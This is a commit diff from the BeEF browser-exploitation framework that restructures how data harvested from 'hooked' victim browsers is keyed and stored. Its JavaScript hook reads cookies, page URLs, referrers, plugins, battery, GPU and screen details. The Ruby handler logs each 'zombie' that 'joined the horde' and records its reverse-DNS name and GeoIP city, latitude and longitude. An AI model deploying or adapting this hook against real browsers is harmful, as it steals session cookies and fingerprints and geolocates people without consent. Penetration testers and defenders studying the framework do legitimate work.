Update BrowserDetails to store textual OID-style key/value data
This commit is contained in:
@@ -45,6 +45,7 @@ require 'core/hbmanager'
|
||||
|
||||
## @note Include RESTful API
|
||||
require 'core/main/rest/handlers/hookedbrowsers'
|
||||
require 'core/main/rest/handlers/browserdetails'
|
||||
require 'core/main/rest/handlers/modules'
|
||||
require 'core/main/rest/handlers/categories'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
|
||||
@@ -93,26 +93,6 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the screen size is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid screen size characters
|
||||
def self.is_valid_screen_size?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the window size is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid window size characters
|
||||
def self.is_valid_window_size?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the system platform is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid system platform characters
|
||||
@@ -143,6 +123,26 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the memory string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid memory type characters
|
||||
def self.is_valid_memory?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the GPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid GPU type characters
|
||||
def self.is_valid_gpu?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
|
||||
@@ -4214,28 +4214,42 @@ beef.browser = {
|
||||
var browser_reported_name = beef.browser.getBrowserReportedName();
|
||||
var browser_language = beef.browser.getBrowserLanguage();
|
||||
var page_title = (document.title) ? document.title : "Unknown";
|
||||
var origin = (window.origin) ? window.origin : "Unknown";
|
||||
var page_uri = (document.location.href) ? document.location.href : "Unknown";
|
||||
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
|
||||
var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
|
||||
var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
|
||||
var default_port = "";
|
||||
switch (document.location.protocol) {
|
||||
case "http:":
|
||||
var default_port = "80";
|
||||
break;
|
||||
case "https:":
|
||||
var default_port = "443";
|
||||
break
|
||||
default:
|
||||
var default_port = "";
|
||||
break;
|
||||
}
|
||||
var hostport = (document.location.port) ? document.location.port : default_port;
|
||||
var page_hostport = (document.location.port) ? document.location.port : default_port;
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var date_stamp = new Date().toString();
|
||||
var os_name = beef.os.getName();
|
||||
var os_version = beef.os.getVersion();
|
||||
var os_arch = beef.os.getArch();
|
||||
var default_browser = beef.os.getDefaultBrowser();
|
||||
var hw_name = beef.hardware.getName();
|
||||
var hw_type = beef.hardware.getName();
|
||||
var battery_details = beef.hardware.getBatteryDetails();
|
||||
try {
|
||||
var battery_charging_status = battery_details.chargingStatus;
|
||||
var battery_level = battery_details.batteryLevel;
|
||||
var battery_charging_time = battery_details.chargingTime;
|
||||
var battery_discharging_time = battery_details.dischargingTime;
|
||||
} catch(e) {}
|
||||
var memory = beef.hardware.getMemory();
|
||||
var cpu_arch = beef.hardware.getCpuArch();
|
||||
var cpu_cores = beef.hardware.getCpuCores();
|
||||
var gpu_details = beef.hardware.getGpuDetails();
|
||||
try {
|
||||
var gpu = gpu_details.gpu;
|
||||
var gpu_vendor = gpu_details.vendor;
|
||||
} catch(e) {}
|
||||
var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
|
||||
var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
|
||||
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
|
||||
@@ -4244,7 +4258,16 @@ beef.browser = {
|
||||
else return undefined;
|
||||
});
|
||||
var screen_size = beef.hardware.getScreenSize();
|
||||
try {
|
||||
var screen_width = screen_size.width;
|
||||
var screen_height = screen_size.height;
|
||||
var screen_colordepth = screen_size.colordepth;
|
||||
} catch(e) {}
|
||||
var window_size = beef.browser.getWindowSize();
|
||||
try {
|
||||
window_width = window_size.width;
|
||||
window_height = window_size.height;
|
||||
} catch(e) {}
|
||||
var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
|
||||
var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
|
||||
@@ -4257,50 +4280,72 @@ beef.browser = {
|
||||
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
|
||||
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
|
||||
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
|
||||
var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
|
||||
|
||||
try {
|
||||
var cookies = document.cookie;
|
||||
/* Never stop the madness dear C.
|
||||
* var veglol = beef.browser.cookie.veganLol();
|
||||
*/
|
||||
if (cookies) details['Cookies'] = cookies;
|
||||
if (cookies) details['browser.window.cookies'] = cookies;
|
||||
} catch (e) {
|
||||
details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
|
||||
beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
|
||||
details['browser.window.cookies'] = '';
|
||||
}
|
||||
|
||||
if (browser_name) details['BrowserName'] = browser_name;
|
||||
if (browser_version) details['BrowserVersion'] = browser_version;
|
||||
if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
|
||||
if (browser_language) details['BrowserLanguage'] = browser_language;
|
||||
if (page_title) details['PageTitle'] = page_title;
|
||||
if (page_uri) details['PageURI'] = page_uri;
|
||||
if (page_referrer) details['PageReferrer'] = page_referrer;
|
||||
if (hostname) details['HostName'] = hostname;
|
||||
if (hostport) details['HostPort'] = hostport;
|
||||
if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
|
||||
if (os_name) details['OsName'] = os_name;
|
||||
if (os_version) details['OsVersion'] = os_version;
|
||||
if (default_browser) details['DefaultBrowser'] = default_browser;
|
||||
if (hw_name) details['Hardware'] = hw_name;
|
||||
if (cpu_arch) details['CpuArch'] = cpu_arch;
|
||||
if (cpu_cores) details['CpuCores'] = cpu_cores;
|
||||
if (touch_enabled) details['TouchEnabled'] = touch_enabled;
|
||||
if (date_stamp) details['DateStamp'] = date_stamp;
|
||||
if (browser_platform) details['BrowserPlatform'] = browser_platform;
|
||||
if (browser_type) details['BrowserType'] = browser_type;
|
||||
if (screen_size) details['ScreenSize'] = screen_size;
|
||||
if (window_size) details['WindowSize'] = window_size;
|
||||
if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
|
||||
if (has_flash) details['HasFlash'] = has_flash;
|
||||
if (has_phonegap) details['HasPhonegap'] = has_phonegap;
|
||||
if (has_web_socket) details['HasWebSocket'] = has_web_socket;
|
||||
if (has_web_worker) details['HasWebWorker'] = has_web_worker;
|
||||
if (has_web_gl) details['HasWebGL'] = has_web_gl;
|
||||
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
|
||||
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
|
||||
if (has_activex) details['HasActiveX'] = has_activex;
|
||||
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
|
||||
if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
|
||||
if (has_wmp) details['HasWMP'] = has_wmp;
|
||||
if (browser_type) details['browser.type'] = browser_type;
|
||||
if (browser_name) details['browser.name'] = browser_name;
|
||||
if (browser_version) details['browser.version'] = browser_version;
|
||||
if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
|
||||
if (browser_platform) details['browser.platform'] = browser_platform;
|
||||
if (browser_language) details['browser.language'] = browser_language;
|
||||
if (page_title) details['browser.window.title'] = page_title;
|
||||
if (origin) details['browser.window.origin'] = origin;
|
||||
if (page_hostname) details['browser.window.hostname'] = page_hostname;
|
||||
if (page_hostport) details['browser.window.hostport'] = page_hostport;
|
||||
if (page_uri) details['browser.window.uri'] = page_uri;
|
||||
if (page_referrer) details['browser.window.referrer'] = page_referrer;
|
||||
if (window_width) details['browser.window.size.width'] = window_width;
|
||||
if (window_height) details['browser.window.size.height'] = window_height;
|
||||
if (browser_plugins) details['browser.plugins'] = browser_plugins;
|
||||
if (date_stamp) details['browser.date.datestamp'] = date_stamp;
|
||||
|
||||
if (os_name) details['host.os.name'] = os_name;
|
||||
if (os_version) details['host.os.version'] = os_version;
|
||||
if (os_arch) details['host.os.arch'] = os_arch;
|
||||
|
||||
if (default_browser) details['host.software.defaultbrowser'] = default_browser;
|
||||
|
||||
if (hw_type) details['hardware.type'] = hw_type;
|
||||
if (memory) details['hardware.memory'] = memory;
|
||||
if (gpu) details['hardware.gpu'] = gpu;
|
||||
if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
|
||||
if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
|
||||
if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
|
||||
|
||||
if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
|
||||
if (battery_level) details['hardware.battery.level'] = battery_level;
|
||||
if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
|
||||
if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
|
||||
|
||||
if (screen_width) details['hardware.screen.size.width'] = screen_width;
|
||||
if (screen_height) details['hardware.screen.size.height'] = screen_height;
|
||||
if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
|
||||
if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
|
||||
|
||||
if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
|
||||
if (has_flash) details['browser.capabilities.flash'] = has_flash;
|
||||
if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
|
||||
if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
|
||||
if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
|
||||
if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
|
||||
if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
|
||||
if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
|
||||
if (has_activex) details['browser.capabilities.activex'] = has_activex;
|
||||
if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
|
||||
if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
|
||||
if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
|
||||
if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
|
||||
|
||||
var pf_integration = "<%= @phishing_frenzy_enable %>";
|
||||
if (pf_integration) {
|
||||
|
||||
@@ -212,6 +212,10 @@ beef.os = {
|
||||
return 'unknown';
|
||||
},
|
||||
|
||||
getArch: function() {
|
||||
return 'unknown';
|
||||
},
|
||||
|
||||
getVersion: function(){
|
||||
//Windows
|
||||
if(this.isWindows()) {
|
||||
|
||||
@@ -37,13 +37,13 @@ module BeEF
|
||||
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
# hooked window host name
|
||||
log_zombie_port = 0
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
if not @data['results']['browser.window.hostname'].nil?
|
||||
log_zombie_domain = @data['results']['browser.window.hostname']
|
||||
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
|
||||
referer = @data['request'].referer
|
||||
if referer.start_with?("https://") then
|
||||
if referer.start_with?("https://")
|
||||
log_zombie_port = 443
|
||||
else
|
||||
log_zombie_port = 80
|
||||
@@ -53,9 +53,9 @@ module BeEF
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
|
||||
# port
|
||||
if not @data['results']['HostPort'].nil? then
|
||||
log_zombie_port=@data['results']['HostPort']
|
||||
# hooked window host port
|
||||
if not @data['results']['browser.window.hostport'].nil?
|
||||
log_zombie_port = @data['results']['browser.window.hostport']
|
||||
else
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
@@ -78,31 +78,40 @@ module BeEF
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
|
||||
# get and store browser name
|
||||
browser_name = get_param(@data['results'], 'BrowserName')
|
||||
browser_name = get_param(@data['results'], 'browser.name')
|
||||
if BeEF::Filters.is_valid_browsername?(browser_name)
|
||||
BD.set(session_id, 'BrowserName', browser_name)
|
||||
BD.set(session_id, 'browser.name', browser_name)
|
||||
|
||||
# lookup and store browser friendly name
|
||||
browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
|
||||
BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
|
||||
else
|
||||
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
if BeEF::Filters.is_valid_ip?(zombie.ip)
|
||||
BD.set(session_id, 'host.ipaddress', zombie.ip)
|
||||
else
|
||||
self.err_msg "Invalid IP address returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# lookup zombie host name
|
||||
ip_str = zombie.ip
|
||||
if config.get('beef.dns_hostname_lookup')
|
||||
begin
|
||||
host_name = Resolv.getname(zombie.ip).to_s
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
ip_str += " [#{host_name}]"
|
||||
BD.set(session_id, 'host.name', host_name)
|
||||
end
|
||||
rescue
|
||||
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
|
||||
end
|
||||
end
|
||||
BD.set(session_id, 'IP', ip_str)
|
||||
|
||||
# geolocation
|
||||
BD.set(session_id, 'LocationCity', 'Unknown')
|
||||
BD.set(session_id, 'LocationCountry', 'Unknown')
|
||||
BD.set(session_id, 'location.city', 'Unknown')
|
||||
BD.set(session_id, 'location.country', 'Unknown')
|
||||
if BeEF::Core::GeoIp.instance.enabled?
|
||||
geoip = BeEF::Core::GeoIp.instance.lookup(zombie.ip)
|
||||
if geoip.nil?
|
||||
@@ -112,44 +121,44 @@ module BeEF
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationCity',
|
||||
'location.city',
|
||||
"#{geoip['city']['names']['en'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationCountry',
|
||||
'location.country',
|
||||
"#{geoip['country']['names']['en'] rescue 'Unknown' }")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationCountryIsoCode',
|
||||
"#{geoip['country']['iso_code'] rescue ''}")
|
||||
'location.country.isocode',
|
||||
"#{geoip['country']['iso_code'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationRegisteredCountry',
|
||||
"#{geoip['registered_country']['names']['en'] rescue ''}")
|
||||
'location.country.registered_country',
|
||||
"#{geoip['registered_country']['names']['en'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationRegisteredCountryIsoCode',
|
||||
"#{geoip['registered_country']['iso_code'] rescue ''}")
|
||||
'location.country.registered_country.isocode',
|
||||
"#{geoip['registered_country']['iso_code'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationContinent',
|
||||
"#{geoip['continent']['names']['en'] rescue ''}")
|
||||
'location.continent',
|
||||
"#{geoip['continent']['names']['en'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationContinentCode',
|
||||
"#{geoip['continent']['code'] rescue ''}")
|
||||
'location.continent.code',
|
||||
"#{geoip['continent']['code'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationLatitude',
|
||||
"#{geoip['location']['latitude'] rescue ''}")
|
||||
'location.latitude',
|
||||
"#{geoip['location']['latitude'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationLongitude',
|
||||
"#{geoip['location']['longitude'] rescue ''}")
|
||||
'location.longitude',
|
||||
"#{geoip['location']['longitude'] rescue 'Unknown'}")
|
||||
BD.set(
|
||||
session_id,
|
||||
'LocationTimeZone',
|
||||
"#{geoip['location']['time_zone'] rescue ''}")
|
||||
'location.timezone',
|
||||
"#{geoip['location']['time_zone'] rescue 'Unknown'}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -210,144 +219,201 @@ module BeEF
|
||||
end
|
||||
|
||||
# get and store browser version
|
||||
browser_version = get_param(@data['results'], 'BrowserVersion')
|
||||
browser_version = get_param(@data['results'], 'browser.version')
|
||||
if BeEF::Filters.is_valid_browserversion?(browser_version)
|
||||
BD.set(session_id, 'BrowserVersion', browser_version)
|
||||
BD.set(session_id, 'browser.version', browser_version)
|
||||
else
|
||||
self.err_msg "Invalid browser version returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store browser string
|
||||
browser_string = get_param(@data['results'], 'BrowserReportedName')
|
||||
browser_string = get_param(@data['results'], 'browser.name.reported')
|
||||
if BeEF::Filters.is_valid_browserstring?(browser_string)
|
||||
BD.set(session_id, 'BrowserReportedName', browser_string)
|
||||
BD.set(session_id, 'browser.name.reported', browser_string)
|
||||
else
|
||||
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store browser language
|
||||
browser_lang = get_param(@data['results'], 'BrowserLanguage')
|
||||
BD.set(session_id, 'BrowserLanguage', browser_lang)
|
||||
browser_lang = get_param(@data['results'], 'browser.language')
|
||||
BD.set(session_id, 'browser.language', browser_lang)
|
||||
|
||||
# get and store the cookies
|
||||
cookies = get_param(@data['results'], 'Cookies')
|
||||
cookies = get_param(@data['results'], 'browser.window.cookies')
|
||||
if BeEF::Filters.is_valid_cookies?(cookies)
|
||||
BD.set(session_id, 'Cookies', cookies)
|
||||
BD.set(session_id, 'browser.window.cookies', cookies)
|
||||
else
|
||||
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the OS name
|
||||
os_name = get_param(@data['results'], 'OsName')
|
||||
os_name = get_param(@data['results'], 'host.os.name')
|
||||
if BeEF::Filters.is_valid_osname?(os_name)
|
||||
BD.set(session_id, 'OsName', os_name)
|
||||
BD.set(session_id, 'host.os.name', os_name)
|
||||
else
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
os_version = get_param(@data['results'], 'OsVersion')
|
||||
BD.set(session_id, 'OsVersion', os_version)
|
||||
# get and store the OS version
|
||||
# - without checks as it can be very different, for instance on linux/bsd)
|
||||
os_version = get_param(@data['results'], 'host.os.version')
|
||||
BD.set(session_id, 'host.os.version', os_version)
|
||||
|
||||
# get and store the OS arch - without checks
|
||||
os_arch = get_param(@data['results'], 'host.os.arch')
|
||||
BD.set(session_id, 'host.os.arch', os_arch)
|
||||
|
||||
# get and store default browser
|
||||
default_browser = get_param(@data['results'], 'DefaultBrowser')
|
||||
BD.set(session_id, 'DefaultBrowser', default_browser)
|
||||
default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
|
||||
BD.set(session_id, 'host.software.defaultbrowser', default_browser)
|
||||
|
||||
# get and store the hardware name
|
||||
hw_name = get_param(@data['results'], 'Hardware')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_name)
|
||||
BD.set(session_id, 'Hardware', hw_name)
|
||||
# get and store the hardware type
|
||||
hw_type = get_param(@data['results'], 'hardware.type')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_type)
|
||||
BD.set(session_id, 'hardware.type', hw_type)
|
||||
else
|
||||
self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the date
|
||||
date_stamp = get_param(@data['results'], 'DateStamp')
|
||||
date_stamp = get_param(@data['results'], 'browser.date.datestamp')
|
||||
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
|
||||
BD.set(session_id, 'DateStamp', date_stamp)
|
||||
BD.set(session_id, 'browser.date.datestamp', date_stamp)
|
||||
else
|
||||
self.err_msg "Invalid date returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store page title
|
||||
page_title = get_param(@data['results'], 'PageTitle')
|
||||
page_title = get_param(@data['results'], 'browser.window.title')
|
||||
if BeEF::Filters.is_valid_pagetitle?(page_title)
|
||||
BD.set(session_id, 'PageTitle', page_title)
|
||||
BD.set(session_id, 'browser.window.title', page_title)
|
||||
else
|
||||
self.err_msg "Invalid page title returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store page origin
|
||||
origin = get_param(@data['results'], 'browser.window.origin')
|
||||
if BeEF::Filters.is_valid_url?(origin)
|
||||
BD.set(session_id, 'browser.window.origin', origin)
|
||||
else
|
||||
self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store page uri
|
||||
page_uri = get_param(@data['results'], 'PageURI')
|
||||
page_uri = get_param(@data['results'], 'browser.window.uri')
|
||||
if BeEF::Filters.is_valid_url?(page_uri)
|
||||
BD.set(session_id, 'PageURI', page_uri)
|
||||
BD.set(session_id, 'browser.window.uri', page_uri)
|
||||
else
|
||||
self.err_msg "Invalid page URL returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the page referrer
|
||||
page_referrer = get_param(@data['results'], 'PageReferrer')
|
||||
page_referrer = get_param(@data['results'], 'browser.window.referrer')
|
||||
if BeEF::Filters.is_valid_pagereferrer?(page_referrer)
|
||||
BD.set(session_id, 'PageReferrer', page_referrer)
|
||||
BD.set(session_id, 'browser.window.referrer', page_referrer)
|
||||
else
|
||||
self.err_msg "Invalid page referrer returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store hostname
|
||||
host_name = get_param(@data['results'], 'HostName')
|
||||
# get and store hooked window host port
|
||||
host_name = get_param(@data['results'], 'browser.window.hostname')
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'HostName', host_name)
|
||||
BD.set(session_id, 'browser.window.hostname', host_name)
|
||||
else
|
||||
self.err_msg "Invalid host name returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store hooked window host port
|
||||
host_port = get_param(@data['results'], 'browser.window.hostport')
|
||||
if BeEF::Filters.is_valid_port?(host_port)
|
||||
BD.set(session_id, 'browser.window.hostport', host_port)
|
||||
else
|
||||
self.err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the browser plugins
|
||||
browser_plugins = get_param(@data['results'], 'BrowserPlugins')
|
||||
browser_plugins = get_param(@data['results'], 'browser.plugins')
|
||||
if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
|
||||
BD.set(session_id, 'BrowserPlugins', browser_plugins)
|
||||
BD.set(session_id, 'browser.plugins', browser_plugins)
|
||||
else
|
||||
self.err_msg "Invalid browser plugins returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the system platform
|
||||
system_platform = get_param(@data['results'], 'BrowserPlatform')
|
||||
system_platform = get_param(@data['results'], 'browser.platform')
|
||||
if BeEF::Filters.is_valid_system_platform?(system_platform)
|
||||
BD.set(session_id, 'BrowserPlatform', system_platform)
|
||||
BD.set(session_id, 'browser.platform', system_platform)
|
||||
else
|
||||
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the hooked browser type
|
||||
browser_type = get_param(@data['results'], 'BrowserType')
|
||||
browser_type = get_param(@data['results'], 'browser.type')
|
||||
if BeEF::Filters.is_valid_browsertype?(browser_type)
|
||||
BD.set(session_id, 'BrowserType', browser_type)
|
||||
BD.set(session_id, 'browser.type', browser_type)
|
||||
else
|
||||
self.err_msg "Invalid hooked browser type returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the zombie screen size and color depth
|
||||
screen_size = get_param(@data['results'], 'ScreenSize')
|
||||
if BeEF::Filters.is_valid_screen_size?(screen_size)
|
||||
BD.set(session_id, 'ScreenSize', screen_size)
|
||||
# get and store the zombie screen color depth
|
||||
screen_colordepth = get_param(@data['results'], 'hardware.screen.colordepth')
|
||||
if BeEF::Filters.nums_only?(screen_colordepth)
|
||||
BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth)
|
||||
else
|
||||
self.err_msg "Invalid screen size returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the window size
|
||||
window_size = get_param(@data['results'], 'WindowSize')
|
||||
if BeEF::Filters.is_valid_window_size?(window_size)
|
||||
BD.set(session_id, 'WindowSize', window_size)
|
||||
# get and store the zombie screen width
|
||||
screen_size_width = get_param(@data['results'], 'hardware.screen.size.width')
|
||||
if BeEF::Filters.nums_only?(screen_size_width)
|
||||
BD.set(session_id, 'hardware.screen.size.width', screen_size_width)
|
||||
else
|
||||
self.err_msg "Invalid window size returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasWebSocket', 'HasWebWorker', 'HasWebGL', 'HasWebRTC', 'HasActiveX',
|
||||
'HasQuickTime', 'HasRealPlayer', 'HasWMP'
|
||||
# get and store the zombie screen height
|
||||
screen_size_height = get_param(@data['results'], 'hardware.screen.size.height')
|
||||
if BeEF::Filters.nums_only?(screen_size_height)
|
||||
BD.set(session_id, 'hardware.screen.size.height', screen_size_height)
|
||||
else
|
||||
self.err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
|
||||
# get and store the window height
|
||||
window_height = get_param(@data['results'], 'browser.window.size.height')
|
||||
if BeEF::Filters.nums_only?(window_height)
|
||||
BD.set(session_id, 'browser.window.size.height', window_height)
|
||||
else
|
||||
self.err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the window width
|
||||
window_width = get_param(@data['results'], 'browser.window.size.width')
|
||||
if BeEF::Filters.nums_only?(window_width)
|
||||
BD.set(session_id, 'browser.window.size.width', window_width)
|
||||
else
|
||||
self.err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for browser capabilities
|
||||
capabilities = [
|
||||
'browser.capabilities.vbscript',
|
||||
# 'browser.capabilities.java',
|
||||
'browser.capabilities.flash',
|
||||
'browser.capabilities.phonegap',
|
||||
'browser.capabilities.googlegears',
|
||||
'browser.capabilities.activex',
|
||||
'browser.capabilities.quicktime',
|
||||
'browser.capabilities.realplayer',
|
||||
'browser.capabilities.wmp',
|
||||
'browser.capabilities.vlc',
|
||||
'browser.capabilities.webworker',
|
||||
'browser.capabilities.websocket',
|
||||
'browser.capabilities.webgl',
|
||||
'browser.capabilities.webrtc',
|
||||
]
|
||||
components.each do |k|
|
||||
capabilities.each do |k|
|
||||
v = get_param(@data['results'], k)
|
||||
if BeEF::Filters.is_valid_yes_no?(v)
|
||||
BD.set(session_id, k, v)
|
||||
@@ -356,28 +422,60 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
# get and store the value for CpuArch
|
||||
cpu_arch = get_param(@data['results'], 'CpuArch')
|
||||
# get and store the value for hardware.memory
|
||||
memory = get_param(@data['results'], 'hardware.memory')
|
||||
if BeEF::Filters.is_valid_memory?(memory)
|
||||
BD.set(session_id, 'hardware.memory', memory)
|
||||
else
|
||||
self.err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the value for hardware.gpu
|
||||
gpu = get_param(@data['results'], 'hardware.gpu')
|
||||
if BeEF::Filters.is_valid_gpu?(gpu)
|
||||
BD.set(session_id, 'hardware.gpu', gpu)
|
||||
else
|
||||
self.err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
